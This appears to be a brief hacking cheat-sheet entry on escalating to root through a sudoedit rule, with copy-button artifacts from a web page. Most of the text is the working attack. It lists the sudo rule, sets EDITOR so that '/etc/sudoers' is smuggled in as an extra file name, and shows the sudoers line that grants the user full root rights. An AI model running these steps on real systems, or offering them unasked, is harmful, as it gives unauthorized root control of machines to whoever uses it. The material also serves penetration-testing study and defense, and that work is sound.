sudo -l
(root) sudoedit /opt/example.txt
Copied!
If we can execute sudoedit command as root, we might be able to escalate the privileges with some version.
export EDITOR="vim -- /etc/sudoers"
sudoedit /opt/example.txt
Copied!
john ALL=(ALL:ALL) ALL
Copied!
After that, we can escalate to root privilege.